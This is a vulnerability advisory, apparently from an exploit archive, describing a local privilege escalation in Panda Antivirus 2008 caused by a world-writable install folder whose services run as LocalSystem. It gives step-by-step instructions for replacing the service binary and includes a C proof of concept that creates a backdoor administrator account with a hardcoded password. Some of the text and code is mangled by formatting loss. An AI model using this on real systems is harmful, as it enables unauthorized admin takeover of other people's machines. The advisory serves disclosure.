Severity: MediumTitle: Panda Antivirus 2008 Local Privileg EscalationDate: 02.08.07Author: tarkus (tarkus (at) tiifp (dot) org)URL: https://tiifp.org/tarkusVendor: Panda (http://www.pandasoftware.com/)Affected Products: Panda Antivirus 2008Not Affected Products: - Panda Internetsecurity 2008- Panda Antivirus + Firewall 2008- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Description:------------1. During installation of Panda Antivirus 2008 the permissions forinstallation folder %ProgramFiles%Panda SecurityPanda Antivirus 2008by default are set to Everyone:Full Control. Few services(e.g. PAVSRV51.EXE) are started from this folder. Services are startedunder LocalSystem account. There is no protection of service files. Itspossible for unprivileged user to replace service executable with thefile of his choice to get full access with LocalSystem privileges. Or toget privileges or any user (including system administrator) who logonsto vulnerable host. This can be exploited by:a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folderb. Copy any application to PAVSRV51.exec. RebootUpon reboot trojaned application will be executed with LocalSystemaccount.BTW: Check this from last year (http://www.securityfocus.com/bid/19891)POC:----*/#include #include INT main( VOID ){CHAR szWinDir[ _MAX_PATH ];CHAR szCmdLine[ _MAX_PATH ];GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );printf( "Creating user "owner" with password "PandaOWner123"...n" );wsprintf( szCmdLine, "%ssystem32net.exe user owner PandaOWner123 /add", szWinDir );system( szCmdLine );printf( "Adding user "owner" to the local Administrators group...n" );wsprintf( szCmdLine, "%ssystem32net.exe localgroup Administrators owner /add", szWinDir );system( szCmdLine );return 0;}=============CODZ END===========